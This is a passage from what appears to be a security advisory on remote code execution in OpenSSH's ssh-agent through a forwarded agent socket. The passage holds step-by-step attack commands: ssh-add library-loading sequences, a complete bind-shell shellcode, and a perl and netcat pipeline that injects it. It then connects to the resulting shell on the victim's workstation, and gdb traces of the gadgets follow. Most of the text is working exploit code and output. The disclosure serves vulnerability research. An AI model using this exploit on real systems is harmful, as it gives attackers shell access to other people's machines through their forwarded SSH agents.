\/usr\/lib* allow-list (indeed, we do not want to actually<br \/>\nload a shared library here &#8212; we just want to store our shellcode in<br \/>\nthe executable stack);<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<\/p>\n<p>3c\/ we remotely register a SIGSEGV handler, and immediately munmap() its<br \/>\ncode:<\/p>\n<p>server# ssh-add -s \/usr\/lib\/titan\/libttcn3-rt2-dynamic.so<br \/>\nEnter passphrase for PKCS#11: whatever<br \/>\nCould not add card &#8220;\/usr\/lib\/titan\/libttcn3-rt2-dynamic.so&#8221;: agent refused operation<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<\/p>\n<p>3d\/ we remotely replace the unmapped SIGSEGV handler&#8217;s code with another<br \/>\npiece of code (a useful gadget) from another shared library:<\/p>\n<p>server# ssh-add -s \/usr\/lib\/x86_64-linux-gnu\/libKF5SonnetUi.so.5.92.0<br \/>\nEnter passphrase for PKCS#11: whatever<br \/>\nCould not add card &#8220;\/usr\/lib\/x86_64-linux-gnu\/libKF5SonnetUi.so.5.92.0&#8221;: agent refused operation<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<\/p>\n<p>3e\/ we remotely raise a SIGSEGV in ssh-pkcs11-helper:<\/p>\n<p>server# ssh-add -s \/usr\/lib\/x86_64-linux-gnu\/libns3.35-wave.so.0.0.0<br \/>\nEnter passphrase for PKCS#11: whatever<br \/>\n[Press Ctrl-C after a few seconds.]\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<\/p>\n<p>3f\/ the replacement code (gadget) is executed (instead of the unmapped<br \/>\nSIGSEGV handler&#8217;s code) and jumps to the stack, into our shellcode,<br \/>\nwhich binds a shell on TCP port 31337 on Alice&#8217;s workstation:<\/p>\n<p>server# nc -v workstation 31337<br \/>\nConnection to workstation 31337 port [tcp\/*] succeeded!<\/p>\n<p>workstation$ id<br \/>\nuid=1000(alice) gid=1000(alice) groups=1000(alice),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),134(lxd),135(sambashare)<\/p>\n<p>workstation$ ps axuf<br \/>\nUSER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND<br \/>\n&#8230;<br \/>\nalice 1105 0.0 0.1 7968 4192 ? Ss 09:48 0:00 ssh-agent -s<br \/>\nalice 1249 0.0 0.0 2888 956 ? S 10:03 0:00 \\_ [sh]\nalice 1268 0.0 0.0 7204 3092 ? R 10:14 0:00 \\_ ps axuf<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<\/p>\n<p>To get a clear view of the replacement code (the useful gadget) that is<br \/>\nexecuted instead of the unmapped SIGSEGV handler and that jumps into the<br \/>\nNOP sled of our shellcode (in the executable stack), we relaunch our<br \/>\nattack against ssh-agent and attach to ssh-pkcs11-helper with gdb:<\/p>\n<p>workstation$ gdb \/usr\/lib\/openssh\/ssh-pkcs11-helper 1307<br \/>\n&#8230;<br \/>\n(gdb) continue<br \/>\nContinuing.<\/p>\n<p>Program received signal SIGSEGV, Segmentation fault.<br \/>\n0x00007fb15c9b560e in std::_Rb_tree_decrement(std::_Rb_tree_node_base*) () from \/lib\/x86_64-linux-gnu\/libstdc++.so.6<\/p>\n<p>(gdb) stepi<br \/>\n0x00007fb15d0e1250 in ?? () from \/lib\/x86_64-linux-gnu\/libQt5Widgets.so.5<\/p>\n<p>(gdb) x\/10i 0x00007fb15d0e1250<br \/>\n=&gt; 0x7fb15d0e1250: add %rcx,%rdx<br \/>\n0x7fb15d0e1253: notrack jmp *%rdx<br \/>\n&#8230;<\/p>\n<p>(gdb) stepi<br \/>\n0x00007fb15d0e1253 in ?? () from \/lib\/x86_64-linux-gnu\/libQt5Widgets.so.5<\/p>\n<p>(gdb) stepi<br \/>\n0x00007ffc2ec82691 in ?? ()<\/p>\n<p>(gdb) x\/10i 0x00007ffc2ec82691<br \/>\n=&gt; 0x7ffc2ec82691: nop<br \/>\n0x7ffc2ec82692: nop<br \/>\n0x7ffc2ec82693: nop<br \/>\n0x7ffc2ec82694: nop<br \/>\n0x7ffc2ec82695: nop<br \/>\n0x7ffc2ec82696: nop<br \/>\n0x7ffc2ec82697: nop<br \/>\n0x7ffc2ec82698: nop<br \/>\n0x7ffc2ec82699: nop<br \/>\n0x7ffc2ec8269a: nop<\/p>\n<p>(gdb) !grep stack \/proc\/1307\/maps<br \/>\n7ffc2ec66000-7ffc2ec87000 rwxp 00000000 00:00 0 [stack]\n<p>========================================================================<br \/>\nSignal handler use-after-free (Ubuntu Desktop 21.10)<br \/>\n========================================================================<\/p>\n<p>In this subsection, we present one of the various combinations of shared<br \/>\nlibraries that result in a reliable, one-shot remote code execution in<br \/>\nssh-agent on Ubuntu Desktop 21.10.<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<\/p>\n<p>1a\/ On our local workstation, we install a default Ubuntu Desktop 21.10<br \/>\n(https:\/\/old-releases.ubuntu.com\/releases\/21.10\/ubuntu-21.10-desktop-amd64.iso),<br \/>\nwithout connecting this workstation to the Internet.<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<\/p>\n<p>1b\/ After the installation is complete, we modify \/etc\/apt\/sources.list<br \/>\nto prevent any package from being upgraded to a version that is not the<br \/>\none that we used in our experiments:<\/p>\n<p>workstation# cp -i \/etc\/apt\/sources.list \/etc\/apt\/sources.list.backup<br \/>\nworkstation# echo &#8216;deb https:\/\/old-releases.ubuntu.com\/ubuntu\/ impish main restricted universe&#8217; &gt; \/etc\/apt\/sources.list<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<\/p>\n<p>1c\/ We connect our workstation to the Internet, and install the three<br \/>\npackages (from Ubuntu&#8217;s official &#8220;universe&#8221; repository) that contain the<br \/>\nthree extra shared libraries used in this attack against ssh-agent:<\/p>\n<p>workstation# apt-get update<br \/>\nworkstation# apt-get upgrade<br \/>\nworkstation# apt-get &#8211;no-install-recommends install syslinux-common<br \/>\nworkstation# apt-get &#8211;no-install-recommends install libgnatcoll-postgres1<br \/>\nworkstation# apt-get &#8211;no-install-recommends install libenca-dbg<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<\/p>\n<p>2\/ As Alice, we run ssh-agent on our local workstation, connect to a<br \/>\nremote server with ssh, and enable ssh-agent forwarding with -A:<\/p>\n<p>workstation$ id<br \/>\nuid=1000(alice) gid=1000(alice) groups=1000(alice),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),133(lxd),134(sambashare)<\/p>\n<p>workstation$ eval `ssh-agent -s`<br \/>\nAgent pid 912<\/p>\n<p>workstation$ echo \/tmp\/ssh-*\/agent.*<br \/>\n\/tmp\/ssh-GnpGKph6xbe3\/agent.911<\/p>\n<p>workstation$ ssh -A server<\/p>\n<p>server$ id<br \/>\nuid=1001(alice) gid=1001(alice) groups=1001(alice)<\/p>\n<p>server$ echo \/tmp\/ssh-*\/agent.*<br \/>\n\/tmp\/ssh-30N8pjTKWn\/agent.996<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<\/p>\n<p>3\/ Then, as a remote attacker who has access to this server:<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<\/p>\n<p>3a\/ we remotely make ssh-agent&#8217;s stack executable (more precisely,<br \/>\nssh-pkcs11-helper&#8217;s stack), via Alice&#8217;s ssh-agent forwarding:<\/p>\n<p>server# echo \/tmp\/ssh-*\/agent.*<br \/>\n\/tmp\/ssh-30N8pjTKWn\/agent.996<\/p>\n<p>server# export SSH_AUTH_SOCK=\/tmp\/ssh-30N8pjTKWn\/agent.996<\/p>\n<p>server# ssh-add -s \/usr\/lib\/syslinux\/modules\/efi64\/gfxboot.c32<br \/>\nEnter passphrase for PKCS#11: whatever<br \/>\nCould not add card &#8220;\/usr\/lib\/syslinux\/modules\/efi64\/gfxboot.c32&#8221;: agent refused operation<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<\/p>\n<p>3b\/ we remotely store a shellcode in the stack of ssh-pkcs11-helper:<\/p>\n<p>server# SHELLCODE=$&#8217;\\x48\\x31\\xc0\\x48\\x31\\xff\\x48\\x31\\xf6\\x48\\x31\\xd2\\x4d\\x31\\xc0\\x6a\\x02\\x5f\\x6a\\x01\\x5e\\x6a\\x06\\x5a\\x6a\\x29\\x58\\x0f\\x05\\x49\\x89\\xc0\\x4d\\x31\\xd2\\x41\\x52\\x41\\x52\\xc6\\x04\\x24\\x02\\x66\\xc7\\x44\\x24\\x02\\x7a\\x69\\x48\\x89\\xe6\\x41\\x50\\x5f\\x6a\\x10\\x5a\\x6a\\x31\\x58\\x0f\\x05\\x41\\x50\\x5f\\x6a\\x01\\x5e\\x6a\\x32\\x58\\x0f\\x05\\x48\\x89\\xe6\\x48\\x31\\xc9\\xb1\\x10\\x51\\x48\\x89\\xe2\\x41\\x50\\x5f\\x6a\\x2b\\x58\\x0f\\x05\\x59\\x4d\\x31\\xc9\\x49\\x89\\xc1\\x4c\\x89\\xcf\\x48\\x31\\xf6\\x6a\\x03\\x5e\\x48\\xff\\xce\\x6a\\x21\\x58\\x0f\\x05\\x75\\xf6\\x48\\x31\\xff\\x57\\x57\\x5e\\x5a\\x48\\xbf\\x2f\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x48\\xc1\\xef\\x08\\x57\\x54\\x5f\\x6a\\x3b\\x58\\x0f\\x05&#8242;<\/p>\n<p>server# (perl -e &#8216;print &#8220;\\0\\0\\x27\\xbf\\x14\\0\\0\\0\\x10\/usr\/lib\/modules\\0\\0\\x27\\xa6&#8221; . &#8220;\\x90&#8221; x 10000&#8217;; echo -n &#8220;$SHELLCODE&#8221;) | nc -U &#8220;$SSH_AUTH_SOCK&#8221;<br \/>\n[Press Ctrl-C after a few seconds.]\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<\/p>\n<p>3c\/ we remotely alter the mmap layout of ssh-pkcs11-helper:<\/p>\n<p>server# ssh-add -s \/usr\/lib\/pulse-15.0+dfsg1\/modules\/module-remap-sink.so<br \/>\nEnter passphrase for PKCS#11: whatever<br \/>\nCould not add card &#8220;\/usr\/lib\/pulse-15.0+dfsg1\/modules\/module-remap-sink.so&#8221;: agent refused operation<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<\/p>\n<p>3d\/ we remotely register a SIGBUS handler, and immediately munmap() its<br \/>\ncode:<\/p>\n<p>server# ssh-add -s \/usr\/lib\/x86_64-linux-gnu\/libgnatcoll_postgres.so.1<br \/>\nEnter passphrase for PKCS#11: whatever<br \/>\nCould not add card &#8220;\/usr\/lib\/x86_64-linux-gnu\/libgnatcoll_postgres.so.1&#8221;: agent refused operation<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<\/p>\n<p>3e\/ we remotely alter the mmap layout of ssh-pkcs11-helper (again), and<br \/>\nreplace the unmapped SIGBUS handler&#8217;s code with another piece of code (a<br \/>\nuseful gadget) from another shared library:<\/p>\n<p>server# ssh-add -s \/usr\/lib\/pulse-15.0+dfsg1\/modules\/module-http-protocol-unix.so<br \/>\nserver# ssh-add -s \/usr\/lib\/x86_64-linux-gnu\/sane\/libsane-hp.so.1.0.32<br \/>\nserver# ssh-add -s \/usr\/lib\/libreoffice\/program\/libindex_data.so<br \/>\nserver# ssh-add -s \/usr\/lib\/x86_64-linux-gnu\/gstreamer-1.0\/libgstaudiorate.so<br \/>\nserver# ssh-add -s \/usr\/lib\/libreoffice\/program\/libscriptframe.so<br \/>\nserver# ssh-add -s \/usr\/lib\/x86_64-linux-gnu\/libisccc-9.16.15-Ubuntu.so<br \/>\nserver# ssh-add -s \/usr\/lib\/x86_64-linux-gnu\/libxkbregistry.so.0.0.0<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<\/p>\n<p>3f\/ we remotely raise a SIGBUS in ssh-pkcs11-helper:<\/p>\n<p>server# ssh-add -s \/usr\/lib\/debug\/.build-id\/15\/c0bee6bcb06fbf381d0e0e6c52f71e1d1bd694.debug<br \/>\nEnter passphrase for PKCS#11: whatever<br \/>\n[Press Ctrl-C after a few seconds.]\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<\/p>\n<p>3g\/ the replacement code (gadget) is executed (instead of the unmapped<br \/>\nSIGBUS handler&#8217;s code) and jumps to the stack, then into our shellcode,<br \/>\nwhich binds a shell on TCP port 31337 on Alice&#8217;s workstation:<\/p>\n<p>server# nc -v workstation 31337<br \/>\nConnection to workstation 31337 port [tcp\/*] succeeded!<\/p>\n<p>workstation$ id<br \/>\nuid=1000(alice) gid=1000(alice) groups=1000(alice),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),133(lxd),134(sambashare)<\/p>\n<p>workstation$ ps axuf<br \/>\nUSER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND<br \/>\n&#8230;<br \/>\nalice 912 0.0 0.0 6060 2312 ? Ss 17:18 0:00 ssh-agent -s<br \/>\nalice 928 0.0 0.0 2872 956 ? S 17:25 0:00 \\_ [sh]\nalice 953 0.0 0.0 7060 3068 ? R 17:40 0:00 \\_ ps axuf<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<\/p>\n<p>To get a clear view of the replacement code (the useful gadget) that is<br \/>\nexecuted instead of the unmapped SIGBUS handler and that jumps into the<br \/>\nNOP sled of our shellcode (in the executable stack), we relaunch our<br \/>\nattack against ssh-agent and attach to ssh-pkcs11-helper with gdb:<\/p>\n<p>workstation$ gdb \/usr\/lib\/openssh\/ssh-pkcs11-helper 1225<br \/>\n&#8230;<br \/>\n(gdb) continue<br \/>\nContinuing.<\/p>\n<p>Program received signal SIGBUS, Bus error.<br \/>\nmemset () at ..\/sysdeps\/x86_64\/multiarch\/memset-vec-unaligned-erms.S:186<\/p>\n<p>(gdb) stepi<br \/>\n0x00007f2ba9d7c350 in ?? () from \/usr\/lib\/libreoffice\/program\/libuno_cppuhelpergcc3.so.3<\/p>\n<p>(gdb) x\/10i 0x00007f2ba9d7c350<br \/>\n=&gt; 0x7f2ba9d7c350: add $0x28,%rsp<br \/>\n0x7f2ba9d7c354: mov %r12,%rax<br \/>\n0x7f2ba9d7c357: pop %rbx<br \/>\n0x7f2ba9d7c358: pop %rbp<br \/>\n0x7f2ba9d7c359: pop %r12<br \/>\n0x7f2ba9d7c35b: pop %r13<br \/>\n0x7f2ba9d7c35d: pop %r14<br \/>\n0x7f2ba9d7c35f: pop %r15<br \/>\n0x7f2ba9d7c361: ret<br \/>\n&#8230;<\/p>\n<p>(gdb) stepi<br \/>\n&#8230;<br \/>\n0x00007f2ba9d7c361 in ?? () from \/usr\/lib\/libreoffice\/program\/libuno_cppuhelpergcc3.so.3<\/p>\n<p>(gdb) stepi<br \/>\n0x00007fff7aae5e90 in ?? ()<\/p>\n<p>(gdb) x\/10i 0x00007fff7aae5e90<br \/>\n=&gt; 0x7fff7aae5e90: add %dl,(%rax)<br \/>\n0x7fff7aae5e92: and %eax,(%rax)<br \/>\n0x7fff7aae5e94: add %al,(%rax)<br \/>\n0x7fff7aae5e96: add %al,(%rax)<br \/>\n0x7fff7aae5e98: add %ah,(%rax)<br \/>\n0x7fff7aae5e9a: and %eax,(%rax)<br \/>\n0x7fff7aae5e9c: add %al,(%rax)<br \/>\n0x7fff7aae5e9e: add %al,(%rax)<br \/>\n0x7fff7aae5ea0: call 0x7fff7aae7fbe<br \/>\n&#8230;<\/p>\n<p>(gdb) stepi<br \/>\n&#8230;<br \/>\n0x00007fff7aae5ea0 in ?? ()<\/p>\n<p>(gdb) stepi<br \/>\n0x00007fff7aae7fbe in ?? ()<\/p>\n<p>(gdb) x\/10i 0x00007fff7aae7fbe<br \/>\n=&gt; 0x7fff7aae7fbe: nop<br \/>\n0x7fff7aae7fbf: nop<br \/>\n0x7fff7aae7fc0: nop<br \/>\n0x7fff7aae7fc1: nop<br \/>\n0x7fff7aae7fc2: nop<br \/>\n0x7fff7aae7fc3: nop<br \/>\n0x7fff7aae7fc4: nop<br \/>\n0x7fff7aae7fc5: nop<br \/>\n0x7fff7aae7fc6: nop<br \/>\n0x7fff7aae7fc7: nop<\/p>\n<p>(gdb) !grep stack \/proc\/1225\/maps<br \/>\n7fff7aacb000-7fff7aaeb000 rwxp 00000000 00:00 0 [stack]\n<p>========================================================================<br \/>\nCallback function use-after-free<br \/>\n========================================================================<\/p>\n<p>While analyzing the first results of our fuzzer, we noticed that some<br \/>\ncombinations of shared libraries jump to the stack although they do not<br \/>\nregister any signal handler or raise any signal; how is this possible?<br \/>\nOn investigation, we understood that:<\/p>\n<p>&#8211; a core library (for example, libgcrypt.so or libQt5Core.so) is loaded<br \/>\nbut not unloaded (munmap()ed) by dlclose(), because it is marked as<br \/>\n&#8220;nodelete&#8221; by the loader;<\/p>\n<p>&#8211; a shared library (for example, libgnunetutil.so or gammaray_probe.so)<br \/>\nis loaded and registers a userland callback function with the core<br \/>\nlibrary (via gcry_set_allocation_handler() or qtHookData[], for<br \/>\nexample), but it does not deregister this callback function when<br \/>\ndlclose()d (i.e., when its code is munmap()ed);<\/p>\n<p>&#8211; another shared library is loaded (mmap()ed) and replaces the unmapped<br \/>\ncallback function&#8217;s code with another piece of code (a useful gadget);<\/p>\n<p>&#8211; yet another shared library is loaded and calls one of the core<br \/>\nlibrary&#8217;s functions, which in turn calls the unmapped callback<br \/>\nfunction and therefore executes the replacement code (the useful<br \/>\ngadget) instead, thus jumping to the stack.<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<\/p>\n<p>In the following example, one of the core library&#8217;s functions is called<br \/>\nat line 66254, the unmapped callback function is called at line 66288,<br \/>\nthe replacement code (gadget) is executed instead at line 66289, and<br \/>\njumps to the stack at line 66293 (ssh-pkcs11-helper segfaults here<br \/>\nbecause we did not make the stack executable):<\/p>\n<p>Attaching to program: \/usr\/lib\/openssh\/ssh-pkcs11-helper, process 3628979<br \/>\n&#8230;<br \/>\n(gdb) record btrace<br \/>\n(gdb) continue<br \/>\nContinuing.<\/p>\n<p>Program received signal SIGSEGV, Segmentation fault.<br \/>\n0x00007fff5000d9d0 in ?? ()<\/p>\n<p>(gdb) !grep stack \/proc\/3628979\/maps<br \/>\n7fff4fff3000-7fff50014000 rw-p 00000000 00:00 0 [stack]\n<p>(gdb) set record instruction-history-size 100<br \/>\n(gdb) record instruction-history<br \/>\n&#8230;<br \/>\n66254 0x00007f9ae7d82df4: call 0x7f9ae7d70180 &lt;gcry_mpi_new@plt&gt;<br \/>\n66255 0x00007f9ae7d70180 &lt;gcry_mpi_new@plt+0&gt;: endbr64<br \/>\n66256 0x00007f9ae7d70184 &lt;gcry_mpi_new@plt+4&gt;: bnd jmp *0x7aa9d(%rip) # 0x7f9ae7deac28 &lt;gcry_mpi_new@got.plt&gt;<br \/>\n66257 0x00007f9af801bbe0 &lt;gcry_mpi_new+0&gt;: endbr64<br \/>\n66258 0x00007f9af801bbe4 &lt;gcry_mpi_new+4&gt;: push %r12<br \/>\n66259 0x00007f9af801bbe6 &lt;gcry_mpi_new+6&gt;: push %rbx<br \/>\n66260 0x00007f9af801bbe7 &lt;gcry_mpi_new+7&gt;: lea 0x3f(%rdi),%ebx<br \/>\n66261 0x00007f9af801bbea &lt;gcry_mpi_new+10&gt;: mov $0x18,%edi<br \/>\n66262 0x00007f9af801bbef &lt;gcry_mpi_new+15&gt;: shr $0x6,%ebx<br \/>\n66263 0x00007f9af801bbf2 &lt;gcry_mpi_new+18&gt;: sub $0x8,%rsp<br \/>\n66264 0x00007f9af801bbf6 &lt;gcry_mpi_new+22&gt;: call 0x7f9af801bb40<br \/>\n66265 0x00007f9af801bb40: endbr64<br \/>\n&#8230;<br \/>\n66285 0x00007f9af809cc60: mov 0xa8311(%rip),%rax # 0x7f9af8144f78<br \/>\n66286 0x00007f9af809cc67: test %rax,%rax<br \/>\n66287 0x00007f9af809cc6a: jne 0x7f9af809cc44<br \/>\n66288 0x00007f9af809cc44: call *%rax<\/p>\n<p>66289 0x00007f9afc27edc0: cmp %eax,%ebx<br \/>\n66290 0x00007f9afc27edc2: jne 0x7f9afc27f150<br \/>\n66291 0x00007f9afc27f150: mov %r14,%rsi<br \/>\n66292 0x00007f9afc27f153: mov %r13,%rdi<br \/>\n66293 0x00007f9afc27f156: call *%rbx<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<\/p>\n<p>In the following example, the unmapped callback function is called at<br \/>\nline 87352, the replacement code (gadget) is executed instead at line<br \/>\n87353, and jumps to the stack at line 87354:<\/p>\n<p>Attaching to program: \/usr\/lib\/openssh\/ssh-pkcs11-helper, process 3628993<br \/>\n&#8230;<br \/>\n(gdb) record btrace<br \/>\n(gdb) continue<br \/>\nContinuing.<\/p>\n<p>Program received signal SIGSEGV, Segmentation fault.<br \/>\n0x00007ffe4fc16d10 in ?? ()<\/p>\n<p>(gdb) !grep stack \/proc\/3628993\/maps<br \/>\n7ffe4fbfc000-7ffe4fc1d000 rw-p 00000000 00:00 0 [stack]\n<p>(gdb) set record instruction-history-size 100<br \/>\n(gdb) record instruction-history<br \/>\n&#8230;<br \/>\n87347 0x00007f35f8972d26 &lt;_ZN7QObjectC2ER14QObjectPrivatePS_+182&gt;: lea 0x26acd3(%rip),%rax # 0x7f35f8bdda00 &lt;qtHookData&gt;<br \/>\n87348 0x00007f35f8972d2d &lt;_ZN7QObjectC2ER14QObjectPrivatePS_+189&gt;: mov 0x18(%rax),%rax<br \/>\n87349 0x00007f35f8972d31 &lt;_ZN7QObjectC2ER14QObjectPrivatePS_+193&gt;: test %rax,%rax<br \/>\n87350 0x00007f35f8972d34 &lt;_ZN7QObjectC2ER14QObjectPrivatePS_+196&gt;: jne 0x7f35f8972d88 &lt;_ZN7QObjectC2ER14QObjectPrivatePS_+280&gt;<br \/>\n87351 0x00007f35f8972d88 &lt;_ZN7QObjectC2ER14QObjectPrivatePS_+280&gt;: mov %rbx,%rdi<br \/>\n87352 0x00007f35f8972d8b &lt;_ZN7QObjectC2ER14QObjectPrivatePS_+283&gt;: call *%rax<\/p>\n<p>87353 0x00007f35fa445130 &lt;_ZN5KAuth15ObjectDecorator13setAuthActionERKNS_6ActionE+80&gt;: pop %rbp<br \/>\n87354 0x00007f35fa445131 &lt;_ZN5KAuth15ObjectDecorator13setAuthActionERKNS_6ActionE+81&gt;: ret<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<\/p>\n<p>Note: several shared libraries that are installed by default on Ubuntu<br \/>\nDesktop (for example, gkm-*-store-standalone.so) do not have constructor<br \/>\nor destructor functions, but they are actual PKCS#11 providers, so some<br \/>\nof their functions are explicitly called by ssh-pkcs11-helper, and these<br \/>\nfunctions register a callback function with libgcrypt.so but they do not<br \/>\nderegister it when dlclose()d (i.e., when munmap()ed), thus exhibiting<br \/>\nthe &#8220;Callback function use-after-free&#8221; behavior presented in this<br \/>\nsubsection.<\/p>\n<p>In the following example, one of libgcrypt.so&#8217;s functions is called at<br \/>\nline 79114, the unmapped callback function is called at line 79143, the<br \/>\nreplacement code (gadget) is executed instead at line 79144, and jumps<br \/>\nto the stack at line 79157:<\/p>\n<p>Attaching to program: \/usr\/lib\/openssh\/ssh-pkcs11-helper, process 3629085<br \/>\n&#8230;<br \/>\n(gdb) record btrace<br \/>\n(gdb) continue<br \/>\nContinuing.<\/p>\n<p>Thread 1 &#8220;ssh-pkcs11-help&#8221; received signal SIGSEGV, Segmentation fault.<br \/>\n0x00007fffb2735c48 in ?? ()<\/p>\n<p>(gdb) !grep stack \/proc\/3629085\/maps<br \/>\n7fffb2716000-7fffb2737000 rw-p 00000000 00:00 0 [stack]\n<p>(gdb) set record instruction-history-size 100<br \/>\n(gdb) record instruction-history<br \/>\n&#8230;<br \/>\n79114 0x00007f8328147e3a: call 0x7f8328135500 &lt;gcry_mpi_scan@plt&gt;<br \/>\n79115 0x00007f8328135500 &lt;gcry_mpi_scan@plt+0&gt;: endbr64<br \/>\n79116 0x00007f8328135504 &lt;gcry_mpi_scan@plt+4&gt;: bnd jmp *0x7a8dd(%rip) # 0x7f83281afde8 &lt;gcry_mpi_scan@got.plt&gt;<br \/>\n79117 0x00007f832e2b1220 &lt;gcry_mpi_scan+0&gt;: endbr64<br \/>\n79118 0x00007f832e2b1224 &lt;gcry_mpi_scan+4&gt;: sub $0x8,%rsp<br \/>\n79119 0x00007f832e2b1228 &lt;gcry_mpi_scan+8&gt;: call 0x7f832e32fbb0<br \/>\n79120 0x00007f832e32fbb0: endbr64<br \/>\n&#8230;<br \/>\n79140 0x00007f832e2b436e: mov 0x129dc3(%rip),%rax # 0x7f832e3de138<br \/>\n79141 0x00007f832e2b4375: test %rax,%rax<br \/>\n79142 0x00007f832e2b4378: je 0x7f832e2b43b0<br \/>\n79143 0x00007f832e2b437a: jmp *%rax<\/p>\n<p>79144 0x00007f832ed274f0: and $0x20,%al<br \/>\n79145 0x00007f832ed274f2: mov %rax,0x50(%rsp)<br \/>\n79146 0x00007f832ed274f7: mov 0x30(%rsp),%r13d<br \/>\n79147 0x00007f832ed274fc: mov 0x58(%rsp),%r15<br \/>\n79148 0x00007f832ed27501: mov %ebx,%ebp<br \/>\n79149 0x00007f832ed27503: mov %r8d,%edx<br \/>\n79150 0x00007f832ed27506: mov 0x50(%rsp),%rsi<br \/>\n79151 0x00007f832ed2750b: mov 0x28(%rsp),%r14<br \/>\n79152 0x00007f832ed27510: movslq 0x38(%r12),%rax<br \/>\n79153 0x00007f832ed27515: sub $0x8000,%ebp<br \/>\n79154 0x00007f832ed2751b: mov 0x54(%r12),%ecx<br \/>\n79155 0x00007f832ed27520: add %rax,%r14<br \/>\n79156 0x00007f832ed27523: mov %r14,%rdi<br \/>\n79157 0x00007f832ed27526: call 